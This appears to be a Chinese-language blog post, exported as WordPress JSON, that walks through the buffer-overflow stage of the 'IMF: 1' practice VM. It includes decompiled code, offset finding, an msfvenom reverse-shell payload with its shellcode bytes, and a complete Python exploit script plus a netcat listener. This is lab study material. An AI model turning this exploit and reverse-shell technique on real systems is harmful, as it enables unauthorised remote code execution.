{"id":354,"date":"2024-05-08T23:03:22","date_gmt":"2024-05-08T15:03:22","guid":{"rendered":"http:\/\/xiyu12.top\/?p=354"},"modified":"2024-05-08T23:03:22","modified_gmt":"2024-05-08T15:03:22","slug":"imf-1","status":"publish","type":"post","link":"http:\/\/www.xiyu12.top\/?p=354","title":{"rendered":"IMF: 1"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">pwn<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u83b7\u5f97\u4e00\u4e2aagent \u4f7f\u7528scp agent user@192.168.1.138:\/tmp \u4e0b\u8f7d\u5230kali<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4f7f\u7528ghidra  \u67e5\u770b\u53cd\u7f16\u8bd1\u7684\u4ee3\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  char *s2; \/\/ &#91;esp+8h] &#91;ebp-20h] BYREF\n  char s&#91;10]; \/\/ &#91;esp+Eh] &#91;ebp-1Ah] BYREF\n  int v6; \/\/ &#91;esp+18h] &#91;ebp-10h]\n  char v7; \/\/ &#91;esp+1Fh] &#91;ebp-9h]\n  setbuf(stdout, 0);\n  asprintf(&amp;s2, \"%i\", 48093572);\n  puts(\"  ___ __  __ ___ \");\n  puts(\" |_ _|  \\\\\/  | __|  Agent\");\n  puts(\"  | || |\\\\\/| | _|   Reporting\");\n  puts(\" |___|_|  |_|_|    System\\n\");\n  printf(\"\\nAgent ID : \");\n  if ( !fgets(s, 9, stdin) )\n    return -1;\n  if ( !strncmp(s, s2, 8u) )\n  {\n    do\n      v7 = getchar();\n    while ( v7 != 10 &amp;&amp; v7 != -1 );\n    puts(\"Login Validated \");\n    v6 = menu();\n    switch ( v6 )\n    {\n      case 1:\n        extractionpoints();\n        break;\n      case 2:\n        requestextraction();\n        break;\n      case 3:\n        report();\n        break;\n      default:\n        puts(\"Exiting...\");\n        break;\n    }\n    return 0;\n  }\n  else\n  {\n    puts(\"Invalid Agent ID \");\n    return -2;\n  }\n}\nchar *report()   #\u5b58\u5728\u4e00\u4e2a\u7f13\u51b2\u533a\u6ea2\u51fa\u7684\u6f0f\u6d1e\n{\n  char s&#91;152]; \/\/ &#91;esp+4h] &#91;ebp-A4h] BYREF\n  char *v2; \/\/ &#91;esp+9Ch] &#91;ebp-Ch]\n\n  printf(\"\\nEnter report update: \");\n  gets(s);\n  printf(\"Report: %s\\n\", s);\n  puts(\"Submitted for review.\");\n  v2 = s;\n  return s;\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/xiyu12.top\/wp-content\/uploads\/2024\/05\/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE-2024-05-08-225224-1024x403.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/xiyu12.top\/wp-content\/uploads\/2024\/05\/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE-2024-05-08-225224-1024x403.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-355\"\/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>gdb agent\nr\nAgent ID :  \u8f93\u5165 48093572 \nEnter selection:  \u8f93\u5165 3\nEnter report update:  \u8f93\u5165 \uff08\u6b64\u5904\u5b58\u5728\u7f13\u51b2\u533a\u6ea2\u51fa\uff09\"A\"*200\n\u7a0b\u5e8f\u62a5\u9519  \u663e\u793a\u6bb5\u9519\u8bef\neip \u88abA\u586b\u5145\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/xiyu12.top\/wp-content\/uploads\/2024\/05\/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE-2024-05-08-225609-1024x345.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/xiyu12.top\/wp-content\/uploads\/2024\/05\/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE-2024-05-08-225609-1024x345.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-356\"\/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\/usr\/share\/metasploit-framework\/tools\/exploit\/pattern_create.rb -l 200 \n\/usr\/share\/metasploit-framework\/tools\/exploit\/pattern_offset.rb -q 0x4136641\n\u5f97\u5230\u504f\u79fb\u503c   168<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/xiyu12.top\/wp-content\/uploads\/2024\/05\/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE-2024-05-08-230117-1024x522.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/xiyu12.top\/wp-content\/uploads\/2024\/05\/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE-2024-05-08-230117-1024x522.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-357\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">objdump -DS agent | less -p .text | grep -i call<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e8c\u8fdb\u5236\u6587\u4ef6\u4e2d\u7684\u64cd\u4f5c\u7801\u201cJMP EAX\u201d\u6216\u201cCALL EAX\u201d\uff0c\u6ce8\u610f\u5185\u5b58\u5730\u5740\u5e76\u4f7f\u7528\u8be5\u5730\u5740\u8986\u76d6 EIP<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>objdump \u5de5\u5177\u6765\u67e5\u770b\u4e00\u4e2a\u540d\u4e3a \"agent\" \u7684\u53ef\u6267\u884c\u6587\u4ef6\u7684\u6c47\u7f16\u4ee3\u7801\uff0c\u5e76\u901a\u8fc7\u7ba1\u9053 | \u5c06\u8f93\u51fa\u4f20\u9012\u7ed9 less \u547d\u4ee4\u6765\u8fdb\u884c\u5206\u9875\u67e5\u770b\nobjdump -DS agent\uff1a\u8fd9\u90e8\u5206\u547d\u4ee4\u4f7f\u7528 objdump \u5de5\u5177\u6765\u5bf9\u540d\u4e3a \"agent\" \u7684\u53ef\u6267\u884c\u6587\u4ef6\u8fdb\u884c\u53cd\u6c47\u7f16\uff0c\u5e76\u8f93\u51fa\u53cd\u6c47\u7f16\u540e\u7684\u6c47\u7f16\u4ee3\u7801\u3002\u53c2\u6570 -D \u8868\u793a\u8f93\u51fa\u6240\u6709\u8282\u7684\u5185\u5bb9\uff08\u5305\u62ec\u4ee3\u7801\u548c\u6570\u636e\uff09\uff0c\u53c2\u6570 -S \u8868\u793a\u540c\u65f6\u8f93\u51fa\u6e90\u4ee3\u7801\u548c\u53cd\u6c47\u7f16\u4ee3\u7801\u3002\n|\uff1a\u8fd9\u4e2a\u7b26\u53f7\u662f\u7ba1\u9053\u64cd\u4f5c\u7b26\uff0c\u7528\u6765\u5c06\u4e00\u4e2a\u547d\u4ee4\u7684\u8f93\u51fa\u4f20\u9012\u7ed9\u53e6\u4e00\u4e2a\u547d\u4ee4\u4f5c\u4e3a\u8f93\u5165\u3002\nless -p .text\uff1a\u8fd9\u90e8\u5206\u547d\u4ee4\u5c06 objdump \u7684\u8f93\u51fa\u4f20\u9012\u7ed9 less \u547d\u4ee4\uff0cless \u662f\u4e00\u4e2a\u7528\u4e8e\u67e5\u770b\u6587\u672c\u6587\u4ef6\u5185\u5bb9\u7684\u5de5\u5177\uff0c\u5e76\u4f7f\u7528 -p .text \u53c2\u6570\u8ba9 less \u5728\u6253\u5f00\u6587\u4ef6\u540e\u7acb\u5373\u8df3\u8f6c\u5230\u5305\u542b \".text\" \u7684\u90e8\u5206\uff0c\u5373\u7a0b\u5e8f\u7684\u4ee3\u7801\u6bb5\u3002\n\n 8048563   \u5b9e\u9645\u4e0a  \u5e94\u8be5\u662f  08048563<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u7528\u5c0f\u7aef\u65b9\u5f0f\u8868\u793a  \\x63\\x85\\x04\\x08<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">shellcode \u7684\u751f\u6210<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u547d\u4ee4\u7684\u4f5c\u7528\u662f\u751f\u6210\u4e00\u4e2a\u80fd\u591f\u5728Linux\u7cfb\u7edf\u4e0a\u8fdb\u884c\u53cd\u5411\u8fde\u63a5\u7684shell\u7684Payload\uff0c\u5e76\u5c06\u751f\u6210\u7684Payload\u4ee5Python\u4ee3\u7801\u7684\u5f62\u5f0f\u8f93\u51fa\uff0c\u540c\u65f6\u6392\u9664\u4e86\u4e00\u4e9b\u7279\u5b9a\u7684\u5b57\u7b26<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msfvenom -p linux\/x86\/shell_reverse_tcp lhost=192.168.1.138 lport=5555 -f python -b \"\\x00\\x0a\\x0d\"\nbuf =  b\"\"                                                                                                                                                                       \nbuf += b\"\\xbf\\x36\\x24\\x01\\x95\\xdb\\xc3\\xd9\\x74\\x24\\xf4\\x58\"                                                                                                                       \nbuf += b\"\\x29\\xc9\\xb1\\x12\\x83\\xe8\\xfc\\x31\\x78\\x0e\\x03\\x4e\"                                                                                                                       \nbuf += b\"\\x2a\\xe3\\x60\\x9f\\xe9\\x14\\x69\\x8c\\x4e\\x88\\x04\\x30\"                                                                                                                       \nbuf += b\"\\xd8\\xcf\\x69\\x52\\x17\\x8f\\x19\\xc3\\x17\\xaf\\xd0\\x73\"                                                                                                                       \nbuf += b\"\\x1e\\xa9\\x13\\x1b\\x61\\xe1\\xe5\\x51\\x09\\xf0\\xe5\\x70\"                                                                                                                       \nbuf += b\"\\x79\\x7d\\x04\\xca\\x1b\\x2e\\x96\\x79\\x57\\xcd\\x91\\x9c\"                                                                                                                       \nbuf += b\"\\x5a\\x52\\xf3\\x36\\x0b\\x7c\\x87\\xae\\xbb\\xad\\x48\\x4c\"                                                                                                                       \nbuf += b\"\\x55\\x3b\\x75\\xc2\\xf6\\xb2\\x9b\\x52\\xf3\\x09\\xdb\" <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u5199\u5229\u7528\u6587\u4ef6  pwn.py<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8c03\u8bd5\u5668\u5b58\u5728\u4e00\u4e9b\u7f3a\u9677\uff0c\u56e0\u6b64\u5728 gdb \u4e2d\u6709\u6548\u7684\u6f0f\u6d1e\u5728\u771f\u6b63\u7684 Linux shell \u4e2d\u53ef\u80fd\u4f1a\u5931\u8d25\u3002\u53d1\u751f\u8fd9\u79cd\u60c5\u51b5\u662f\u56e0\u4e3a\u73af\u5883\u53d8\u91cf\u548c\u5176\u4ed6\u7ec6\u8282\u53ef\u80fd\u4f1a\u5bfc\u81f4\u5806\u6808\u7684\u4f4d\u7f6e\u53d1\u751f\u8f7b\u5fae\u53d8\u5316<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6b64\u95ee\u9898\u7684\u901a\u5e38\u89e3\u51b3\u65b9\u6848\u662f NOP Sled\u2014\u2014\u4e00\u957f\u4e32\u201c90\u201d\u5b57\u8282\uff0c\u5728\u5904\u7406\u65f6\u4e0d\u6267\u884c\u4efb\u4f55\u64cd\u4f5c\u5e76\u7ee7\u7eed\u6267\u884c\u4e0b\u4e00\u6761\u6307\u4ee4\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import socket\nimport time\nclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nclient.connect(('192.168.1.147', 7788))\nclient.recv(512)\nclient.send(bytes(\"48093572\\n\", 'utf-8'))\nclient.recv(512)\nclient.send(bytes(\"3\\n\",\"utf-8\"))\nclient.recv(512)\n\nbuf =  b\"\"\nbuf += b\"\\xbf\\x36\\x24\\x01\\x95\\xdb\\xc3\\xd9\\x74\\x24\\xf4\\x58\"\nbuf += b\"\\x29\\xc9\\xb1\\x12\\x83\\xe8\\xfc\\x31\\x78\\x0e\\x03\\x4e\"\nbuf += b\"\\x2a\\xe3\\x60\\x9f\\xe9\\x14\\x69\\x8c\\x4e\\x88\\x04\\x30\"\nbuf += b\"\\xd8\\xcf\\x69\\x52\\x17\\x8f\\x19\\xc3\\x17\\xaf\\xd0\\x73\"\nbuf += b\"\\x1e\\xa9\\x13\\x1b\\x61\\xe1\\xe5\\x51\\x09\\xf0\\xe5\\x70\"\nbuf += b\"\\x79\\x7d\\x04\\xca\\x1b\\x2e\\x96\\x79\\x57\\xcd\\x91\\x9c\"\nbuf += b\"\\x5a\\x52\\xf3\\x36\\x0b\\x7c\\x87\\xae\\xbb\\xad\\x48\\x4c\"\nbuf += b\"\\x55\\x3b\\x75\\xc2\\xf6\\xb2\\x9b\\x52\\xf3\\x09\\xdb\"\neip=b'\\x63\\x85\\x04\\x08\"\na=b'\\x41'*(168-len(buf))\nb=b'\\x41'*(200-len(buf)-len(a)-len(eip))\nclient.send(buf+a+eip+b'\\n')\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">nc -lvp 5555<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">python3 pwn.py<\/p>\n","protected":false},"excerpt":{"rendered":"<p>pwn \u83b7\u5f97\u4e00\u4e2aagent \u4f7f\u7528scp agent user@192.168.1.138:\/tmp \u4e0b\u8f7d\u5230ka [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[16,32,58],"class_list":["post-354","post","type-post","status-publish","format-standard","hentry","category-target-aircraft","tag-pattern_offset-rb","tag-gdb","tag-pattern_create-rb"],"_links":{"self":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts\/354","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=354"}],"version-history":[{"count":0,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=\/wp\/v2\/posts\/354\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=354"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=354"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.xiyu12.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=354"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}